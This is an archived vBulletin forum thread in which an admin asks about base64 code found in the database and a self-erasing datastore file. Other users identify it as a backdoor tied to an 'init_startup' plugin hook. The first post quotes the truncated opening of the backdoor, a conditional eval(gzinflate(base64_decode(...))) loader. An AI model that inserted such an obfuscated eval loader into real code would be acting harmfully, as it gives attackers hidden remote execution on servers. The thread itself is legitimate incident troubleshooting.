The Arcive of Official vBulletin Modifications Site.It is not a VB3 engine, just a parsed copy! |
|
#1
|
|||
|
|||
base64 in database
should our VB database contain any base64 code?
Ii seems to be linked to an if subscriptions.php type command Code:
if (strpos($_SERVER['PHP_SELF'],'subscriptions.php')) { eval(gzinflate(base64_decode(' We have had an issue with includes/datastore/datastore_cache.php erasing itself every 24 hours, and taking the forum down untill a new copy is uploaded. within a few hours the file then contains this same code as found in the database is it safe to remove the entry from the database? New files have been uploaded many times, so we think that it can only be the database thats keeping causing the issue |
#2
|
|||
|
|||
That looks like a backdoor to execute commands on the server, so yes you should remove it immediately. However, you might want to look into where it's coming from.
|
#3
|
|||
|
|||
Dave, would you be able to offer advise and / or a quote to help with this please
|
#4
|
||||
|
||||
ACP/Plugin manager: Check to see if you have init_startup in Product : Vbulletin. If you do that is likely the backdoor.
Some background: https://www.vbulletin.com/forum/foru...-patch-level-4 |
#5
|
|||
|
|||
ok, im slowly working my way through this, following numerous online guides, and racking up the google air miles.
just about EVERY post that asks about any base64 code within vbulletin files, seems to be met with the default answer from vbulletin staff that 'vbulletin doesnt contain any base64 code, its been added by hackers, redownload new files' Ive downloaded new files, and before even unzipping them, have found the following INSIDE the default vbulletin file attachment.php Code:
$filedata = vb_base64_decode('R0lGODlhAQABAIAAAMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=='); --------------- Added [DATE]1494088047[/DATE] at [TIME]1494088047[/TIME] --------------- Quote:
|
#6
|
|||
|
|||
The base64 encoded string you posted is fine and part of vBulletin. I believe it acts as a transparent image or something like that.
|
#7
|
||||
|
||||
Do you simply delete the code? or delete the init_startup tables in the database? I found two of them
|
|
|
X vBulletin 3.8.12 by vBS Debug Information | |
---|---|
|
|
More Information | |
Template Usage:
Phrase Groups Available:
|
Included Files:
Hooks Called:
|